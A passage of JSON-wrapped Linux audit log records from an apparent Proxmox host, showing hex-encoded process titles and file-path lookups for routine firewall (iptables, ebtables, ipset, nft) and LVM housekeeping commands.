cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875153,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.153:67467): proctitle=69707365740073617665"} {"@timestamp":1781965784289,"@rawstring":"node=pve type=PATH msg=audit(1781965784.289:67079): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875145,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.145:67466): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965784289,"@rawstring":"node=pve type=PATH msg=audit(1781965784.289:67078): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965875133,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965875.133:67465): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965784275,"@rawstring":"node=pve type=PATH msg=audit(1781965784.275:67077): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965874621,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965874.621:67464): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965784275,"@rawstring":"node=pve type=PATH msg=audit(1781965784.275:67077): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965874621,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965874.621:67463): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965784275,"@rawstring":"node=pve type=PATH msg=audit(1781965784.275:67076): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965874621,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965874.621:67462): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965784275,"@rawstring":"node=pve type=PATH msg=audit(1781965784.275:67075): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965874603,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965874.603:67461): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965784136,"@rawstring":"node=pve type=PATH msg=audit(1781965784.136:67074): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965874603,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965874.603:67460): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965784136,"@rawstring":"node=pve type=PATH msg=audit(1781965784.136:67074): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965874603,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965874.603:67459): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965784108,"@rawstring":"node=pve type=PATH msg=audit(1781965784.108:67073): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965874473,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965874.473:67458): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965784108,"@rawstring":"node=pve type=PATH msg=audit(1781965784.108:67073): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965874442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965874.442:67457): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965780829,"@rawstring":"node=pve type=PATH msg=audit(1781965780.829:67072): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965869597,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965869.597:67456): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965780829,"@rawstring":"node=pve type=PATH msg=audit(1781965780.829:67072): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965869597,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965869.597:67455): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965780829,"@rawstring":"node=pve type=PATH msg=audit(1781965780.829:67071): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965869597,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965869.597:67454): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965780829,"@rawstring":"node=pve type=PATH msg=audit(1781965780.829:67071): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965869587,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965869.587:67453): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965780827,"@rawstring":"node=pve type=PATH msg=audit(1781965780.827:67070): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965869587,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965869.587:67452): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965780827,"@rawstring":"node=pve type=PATH msg=audit(1781965780.827:67070): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965869587,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965869.587:67451): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965779263,"@rawstring":"node=pve type=PATH msg=audit(1781965779.263:67069): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866122,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.122:67450): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965779263,"@rawstring":"node=pve type=PATH msg=audit(1781965779.263:67069): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866119,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.119:67449): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965779263,"@rawstring":"node=pve type=PATH msg=audit(1781965779.263:67068): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866118,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.118:67448): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965779263,"@rawstring":"node=pve type=PATH msg=audit(1781965779.263:67067): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866118,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.118:67447): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965779254,"@rawstring":"node=pve type=PATH msg=audit(1781965779.254:67066): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866113,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.113:67446): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965779254,"@rawstring":"node=pve type=PATH msg=audit(1781965779.254:67066): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866106,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.106:67445): proctitle=\"ip6tables-save\""} {"@timestamp":1781965779254,"@rawstring":"node=pve type=PATH msg=audit(1781965779.254:67065): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866100,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.100:67444): proctitle=\"iptables-save\""} {"@timestamp":1781965779254,"@rawstring":"node=pve type=PATH msg=audit(1781965779.254:67064): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866093,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.093:67443): proctitle=\"ip6tables-save\""} {"@timestamp":1781965775549,"@rawstring":"node=pve type=PATH msg=audit(1781965775.549:67063): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866085,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.085:67442): proctitle=\"iptables-save\""} {"@timestamp":1781965775549,"@rawstring":"node=pve type=PATH msg=audit(1781965775.549:67063): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866080,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.080:67441): proctitle=\"ebtables-restore\""} {"@timestamp":1781965775546,"@rawstring":"node=pve type=PATH msg=audit(1781965775.546:67062): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866078,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.078:67440): proctitle=\"ebtables-restore\""} {"@timestamp":1781965775546,"@rawstring":"node=pve type=PATH msg=audit(1781965775.546:67062): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866072,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.072:67439): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965775545,"@rawstring":"node=pve type=PATH msg=audit(1781965775.545:67061): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866066,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.066:67438): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965775545,"@rawstring":"node=pve type=PATH msg=audit(1781965775.545:67061): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866059,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.059:67437): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965775544,"@rawstring":"node=pve type=PATH msg=audit(1781965775.544:67060): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866053,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.053:67436): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965775539,"@rawstring":"node=pve type=PATH msg=audit(1781965775.539:67059): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866045,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.045:67435): proctitle=697073657400726573746F7265"} {"@timestamp":1781965775539,"@rawstring":"node=pve type=PATH msg=audit(1781965775.539:67059): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866037,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.037:67434): proctitle=\"ip6tables-save\""} {"@timestamp":1781965775539,"@rawstring":"node=pve type=PATH msg=audit(1781965775.539:67059): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866031,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.031:67433): proctitle=\"iptables-save\""} {"@timestamp":1781965775532,"@rawstring":"node=pve type=PATH msg=audit(1781965775.532:67058): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866026,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.026:67432): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965775532,"@rawstring":"node=pve type=PATH msg=audit(1781965775.532:67058): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866023,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.023:67431): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965775524,"@rawstring":"node=pve type=PATH msg=audit(1781965775.524:67057): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866022,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.022:67430): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965775524,"@rawstring":"node=pve type=PATH msg=audit(1781965775.524:67057): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866022,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.022:67429): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965775516,"@rawstring":"node=pve type=PATH msg=audit(1781965775.516:67056): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866018,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.018:67428): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965775516,"@rawstring":"node=pve type=PATH msg=audit(1781965775.516:67056): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866010,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.010:67427): proctitle=\"ip6tables-save\""} {"@timestamp":1781965775508,"@rawstring":"node=pve type=PATH msg=audit(1781965775.508:67055): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965866003,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965866.003:67426): proctitle=\"iptables-save\""} {"@timestamp":1781965775508,"@rawstring":"node=pve type=PATH msg=audit(1781965775.508:67055): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965865997,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965865.997:67425): proctitle=69707365740073617665"} {"@timestamp":1781965775502,"@rawstring":"node=pve type=PATH msg=audit(1781965775.502:67053): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965865989,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965865.989:67424): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965775502,"@rawstring":"node=pve type=PATH msg=audit(1781965775.502:67053): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965865980,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965865.980:67423): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965775494,"@rawstring":"node=pve type=PATH msg=audit(1781965775.494:67052): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965864578,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965864.578:67422): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965775494,"@rawstring":"node=pve type=PATH msg=audit(1781965775.494:67052): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965864577,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965864.577:67421): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965775487,"@rawstring":"node=pve type=PATH msg=audit(1781965775.487:67051): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965864577,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965864.577:67420): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965775487,"@rawstring":"node=pve type=PATH msg=audit(1781965775.487:67051): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965864568,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965864.568:67419): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965775482,"@rawstring":"node=pve type=PATH msg=audit(1781965775.482:67050): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965864568,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965864.568:67418): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965775482,"@rawstring":"node=pve type=PATH msg=audit(1781965775.482:67050): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965864568,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965864.568:67417): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965775474,"@rawstring":"node=pve type=PATH msg=audit(1781965775.474:67049): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965864346,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965864.346:67416): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965775474,"@rawstring":"node=pve type=PATH msg=audit(1781965775.474:67049): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965864307,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965864.307:67415): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965775468,"@rawstring":"node=pve type=PATH msg=audit(1781965775.468:67048): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965859559,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965859.559:67414): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965775468,"@rawstring":"node=pve type=PATH msg=audit(1781965775.468:67048): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965859559,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965859.559:67413): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965775461,"@rawstring":"node=pve type=PATH msg=audit(1781965775.461:67047): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965859559,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965859.559:67412): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965775461,"@rawstring":"node=pve type=PATH msg=audit(1781965775.461:67047): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965859551,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965859.551:67411): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965775454,"@rawstring":"node=pve type=PATH msg=audit(1781965775.454:67046): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965859551,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965859.551:67410): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965775454,"@rawstring":"node=pve type=PATH msg=audit(1781965775.454:67046): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965859551,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965859.551:67409): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965775449,"@rawstring":"node=pve type=PATH msg=audit(1781965775.449:67045): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 